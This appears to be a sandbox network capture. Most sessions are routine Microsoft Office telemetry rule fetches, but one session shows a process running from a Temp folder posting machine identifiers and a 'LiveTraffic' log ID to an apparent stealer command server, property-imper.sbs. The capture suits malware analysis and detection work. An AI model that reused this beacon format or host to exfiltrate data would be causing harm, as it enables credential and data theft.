2024-11-23 10:22:35 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:35 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:35 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6a968014-801e-0015-537c-3bf97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102235Z-178bfbc474btrnf9hC1NYCb80g00000004k0000000002cny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:35 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:35 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:35 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: b5a95b30-c01e-002b-0632-3c6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102235Z-178bfbc474bv587zhC1NYCny5w0000000490000000002m8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:35 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:35 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:35 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: fa8f60f6-901e-0083-3159-3cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102235Z-15b8b599d88qw29phC1TEB5zag00000002u0000000005u4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:35 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:37 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:37 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: f77b0594-001e-0014-3c66-3b5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102237Z-178bfbc474bscnbchC1NYCe7eg00000004g0000000005n65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:37 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:37 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:37 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102237Z-178bfbc474bbbqrhhC1NYCvw7400000004bg00000000dv8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:37 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49834	172.67.162.84	443	6244	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:37 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=474Q0DZVZ4V User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8748 Host: property-imper.sbs
2024-11-23 10:22:37 UTC	8748	OUT	Data Raw: 2d 2d 34 37 34 51 30 44 5a 56 5a 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 33 34 33 42 37 39 37 46 35 39 42 43 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 34 37 34 51 30 44 5a 56 5a 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 37 34 51 30 44 5a 56 5a 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 34 37 34 51 30 44 5a 56 5a 34 56 Data Ascii: --474Q0DZVZ4VContent-Disposition: form-data; name="hwid"96343B797F59BCACD7CBBD6DF28D3732--474Q0DZVZ4VContent-Disposition: form-data; name="pid"2--474Q0DZVZ4VContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--474Q0DZVZ4V
2024-11-23 10:22:38 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=anvpp6u24iubmqol675jt7i4e4; expires=Wed, 19-Mar-2025 04:09:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DtXcY0wcxXDukoX0IoFUTC51gDJyOwIwEYXN%2Fb7oByrLXW%2FMGtFMaMaHh6DQVyY3Cl2mYfpJe8nhJhoHfjtpKg3P40056bherW2bu0zA2VXf8PGtUmIT7scgPtAC%2BMyUv7Fa0wM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e70706d0bb14204-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2115&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9682&delivery_rate=571540&cwnd=247&unsent_bytes=0&cid=ec5b164b5b6afb9d&ts=890&x=0"
2024-11-23 10:22:38 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 10:22:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:37 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:37 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102237Z-174c587ffdfcb7qhhC1TEB3x7000000002zg000000000547 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:38 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:37 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:38 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102238Z-174c587ffdftjz9shC1TEBsh9800000002h000000000m42r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:38 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:37 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:38 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102238Z-174c587ffdfmrvb9hC1TEBtn3800000002tg0000000099qn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:38 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:39 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102239Z-178bfbc474bv587zhC1NYCny5w000000044g00000000amx9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:39 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102239Z-178bfbc474bw8bwphC1NYC38b40000000480000000001emv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:40 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" 